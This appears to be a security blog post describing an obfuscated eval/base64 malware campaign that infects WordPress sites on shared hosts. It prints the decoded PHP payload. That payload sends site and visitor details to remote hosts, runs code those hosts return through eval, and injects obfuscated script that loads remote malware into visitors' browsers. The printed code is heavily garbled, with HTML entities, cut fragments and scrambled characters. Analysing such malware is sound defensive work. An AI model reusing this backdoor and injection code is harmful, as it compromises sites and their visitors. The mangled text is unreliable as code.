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New Malware – Eval + GetMama + Encoded Javascript

We are seeing many WordPress sites on shared hosts getting compromised with an encoded javascript malware. It has multiple levels of obfuscation and that’s how it starts:


1- ALL PHP files with an eval (base64_decode line of code:

/*god_mode_on*/eval (base64_decode("ZXZhbC

2- That long piece of code, once executed gets decoded to:

if (!function_exists(GetMama)){function opanki
($buf){$god_mode = $_SERVER["good"];
olower($buf),$cnt_h); str_replace("<?xml&qu
 if (($cnt_h > 2)&&($cnt_x =
= 0)) {$buf = $god_mode .&nb
sp;$buf;} return $buf; } function&nb
sp;GetMama(){$mother = "www.psite&
#46net";return $mother;}ob_start("opanki&
quot;);$show = false;function ahfudflfzdh
fhs($pa){global $show; global $god_mode;&
nbsp;$mama = GetMama();$file = urlen
code(__FILE__);if (isset($_SERVER["HTTP_HOST&q
uot;])){$host = $_SERVER["HTTP_HOST"
];}if (isset($_SERVER["REMOTE_ADDR"])){$i
p = $_SERVER["REMOTE_ADDR"];}if&nbsp
;(isset($_SERVER["HTTP_REFERER"])){$ref =
nbsp;= urlencode(strtolower($_SERVER["HTTP_USE
R_AGENT"]));}$url = "http://"&n
bsp;. $pa . "/opp.php?mothe
r=" .$mama . "&file=&quot
; . $file . "&host="
 . $host . "&ip="&nb
sp;. $ip . "&ref=" &
#46 $ref . "&ua=" .$
ua;if( function_exists("curl_init") 
){$ch = curl_init($url);curl_setopt($ch, 
CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CU
RLOPT_TIMEOUT, 3);$ult = curl_exec($ch);}
 else {$ult = @file_get_contents($ur
l);} if (strpos($ult,"eval") !=
= false){$z = str_replace("eval&quot
;,"",$ult); eval($z); $show =&n
bsp;true; return true;} if (strpos($
ult,"ebna") !== false){$z =&nbs
$god_mode = $z; $show = true;&n
bsp;return true; $_SERVER["good"]&nb
sp;= $god_mode; } else {return 
false;}}$father[] = "146둩뒮
6245";$father[] = "31둨뒢&
#46103";$father[] = "91둴ል
6둄";$father[] = "91둴.
216ሩ";foreach($father as $ur){if&nbs
p;( ahfudflfzdhfhs($ur) ) { break&nb
sp;;}}if ($show === false){$script=’<s
cript>var _0x8ab7=["x31x34x36x2Ex31x3
x6Cx64"];var _0xa341=[_0x8ab7[0],_0x8ab7[1],
_0x8ab7[2],_0x8ab7[3]];for(var i in _0xa3
41){var js=document[_0x8ab7[5]](_0x8ab7[4]);js[_0x8
ab7[6]]=_0x8ab7[7]+_0xa341[i]+_0x8ab7[8];var head=d
);} ;</script>’;  $god_mode =&
nbsp;$script;} $_SERVER["good"] =&nb
sp;$god_mode; }

3- Which adds the following to the browser of anyone visiting the compromised site:

<script>var _0x8ab7=["146.185.25
quot;,"appendChild"];var _0xa341=[_0x8ab7
[0],_0x8ab7[1],_0x8ab7[2],_0x8ab7[3]];for(var i&nbs
p;in _0xa341){var js=document[_0x8ab7[5]](_0x8
var head=document[_0x8ab7[10]](_0x8ab7[9])[0];head[
_0x8ab7[11]](js);} ;</script>

And that code (once executed by the browser) is used to generate a remote javascript include to load malware from 146.185.25 4.245,, and


Very nasty piece of code and we are seeing hundreds (if not thousands) of sites with it.


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